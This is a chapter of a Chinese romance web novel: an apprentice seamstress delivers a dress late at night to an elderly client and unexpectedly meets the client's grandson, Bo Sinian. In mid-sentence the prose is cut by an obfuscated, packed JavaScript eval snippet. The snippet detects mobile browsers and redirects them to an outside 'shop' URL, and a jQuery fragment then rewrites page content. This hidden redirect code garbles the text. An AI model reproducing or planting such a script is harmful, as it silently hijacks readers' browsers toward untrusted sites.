司静鸥的事,薄司年先没同章英侠说,以免她伤心费神又无能为力。 祖孙两人,闲谈到最后,总会拐到工作上去。 薄家自民国初年开始经商,经历航运、机械修理到重型机械制造多次转型,而今传统重工业利润趋薄,环保压力增大,高端装备与智能制造兴起,为跟上时代脚步,不得不再次进行转型。 传统业务仍由章英侠负责,新业务则由薄司年主导。 薄家的业务体量巨大,转型自然也是阻力重重,千头万绪,章英侠常常感叹,若不是有薄司年,她哪里还有这个掉头的决心与心力。 / 廖清焰在梅老师那里一直待到了十一点。 这加急的订单是一条香云纱的A字改良长裙,廖清焰主要分摊了下摆的“折边暗缲”工作——香云纱较为硬挺,下摆不能直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17476884|201496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折边,须得用同条包边之后,再手针挑一毫米纱线,使得下摆从外面看没有任何线迹。 这活儿相当费时费神,到最后廖清焰眼睛都快熬花。 与梅老师齐心协力,总算完成了整烫工作。 梅老师给客户那边打去电话,所幸对方还没睡,现在将衣服送去试一试,倘有哪里不合身,还来得及再做整改。 梅老师年纪大了,廖清焰自然不忍心让她这么晚奔波,就说自己送过去。 梅老师依照地址叫了辆车,廖清焰小心翼翼地提上装进防尘袋里的连衣裙。 “你到了就去找门牌,门牌旁边有个电铃,你按那个会有他们家里的保姆来开门。进去以后,只准给人试衣服,别的不要乱看乱打听。”梅老师叮嘱,“这位客人很注重隐私,这些规矩千万遵守。” “好。” 车程半小时,廖清焰坐在车里打了个盹。 忽听司机出声说到了,赶紧下车。 推开车门,一股浓郁的槐花香气扑鼻而来。 目的地就在右手边,廖清焰找到了门牌,确认无误,揿响电铃。 片刻,穿一身灰色制服的保姆过来将门打开,确认了廖清焰的身份,将她领进去。 上了年头的老房子,木地板都被磨得油光水滑,一色木质家具,棕褐色调,但搭配得好,只有种复古韵味,而不显陈旧。 廖清焰坐在客厅藤椅上,等了片刻,一位精神矍铄的老人从楼梯上走了下来,笑吟吟说道:“不是梅老师过来的?” “我在梅老师那里做学徒。”廖清焰笑说,“时间有点晚了,所以梅老师派我过来。” 廖清焰觉得她有些面善,想不起来在哪里见过。 “都行。”老人笑说,“跟我过来吧。” 廖清焰跟在她身后,走进一楼的一间房,随后取出防尘袋中的衣服,帮忙换上。 “您看看,有没有觉得哪里不舒服不合身的地方,我拿回去叫梅老师再做修改。” 老人前后照了照镜子,十分满意,“还是梅老师的手艺好,哪儿哪儿都熨帖。” 廖清焰松一口气,笑说:“那我就回去告诉梅老师,这衣服您签收了。” 她从随身的包里取出一张单子,递与老人:“还得劳烦您在这里签个字。” 老人接过笔,眯住眼睛,龙飞凤舞地签上了名字,廖清焰随意瞥一眼,草书的字体,不大能认出来,只看得出来是姓“章”。没多管,丢进包里便告辞。 “劳你这么远跑过来,你住哪里,我叫人开车送你回去。” “不用不用,我打个车就好。”廖清焰笑说,“您早些休息。” 老人也不勉强她,叫保姆将她送到路边,陪她等车到,怕她一个女孩子,深更半夜一个人不安全。 廖清焰穿过客厅,正跟在保姆身后往门口走去,忽听身后二楼方向传来一道男声:“衣服您试完了吗?” 廖清焰整个人后背一僵。 “试完了。” “行。我先走了,您早些休息。” “你不在这儿睡啊司年?” “嗯。” “那行,你自己开车注意安全啊。” “好。” 廖清焰只盼望保姆能走快一点,好让她赶在薄司年下楼之前走出去。 但显然已经来不及了,她明显听见他本是连贯的下楼梯的声响,停了一拍。 廖清焰没有回头。 她懊恼于总是自诩记忆力好,却在关键时刻掉链子,没有想起来这位在杂志封面上见过的老人就是章英侠,薄司年的奶奶。 石砖小院花木扶疏,廖清焰深一脚浅一脚地穿影而过,听见身后的脚步声不紧不慢。 推开大门,走到路边。 廖清焰低头紧紧盯住自己的手机屏幕,看见拇指挨住的地方色彩斑斓,是起了汗。 刚点开打车软件,后方传来无波无澜的声音:“钟阿姨你进去吧,我送廖小姐。” 站在一旁的保姆稍愣了愣,说声好,转身走了。 廖清焰始终没有回头,但耳朵却仿佛比任何时候都敏锐,听见大门关上了,脚步踩着石板,站定在了她身旁,甚至还听见,一根带叶的树枝擦过了他的衣袖。 夜深人静,路灯睡眼惺忪,整条潞水南路,似乎只剩下他们两个人。 廖清焰听见自己心跳快得吓人。 她相信自己与薄司年之间,是有一些缘分,不然不会在十三岁那年,让他突然降临,使她铅灰的冬天浓云乍破,一朝天晴;也不会让她十五岁进入霁城外国语中学,开学的当天就在餐厅门口再度遇见。 更不会有此刻。 刚从他身边逃离,又回到了他的身边。 良夜阒静,簌簌有声。 “吴管家有没有传达我的话。”薄司年出声。 “……嗯。有。”廖清焰心跳剧烈,不确定自己的声音听起来还算不算得上平静。 “他怎么说的。” “……他说让我考虑好了就联系你。” “你没有联系。” “……我没有你的联系方式啊。”廖清焰小声说。 她没有转头,余光感觉到薄司年面前亮起了一小片,似乎是手机背光。 半刻,手机递到了她面前。 点亮的屏幕里,一张名片二维码。 “你现在有了。”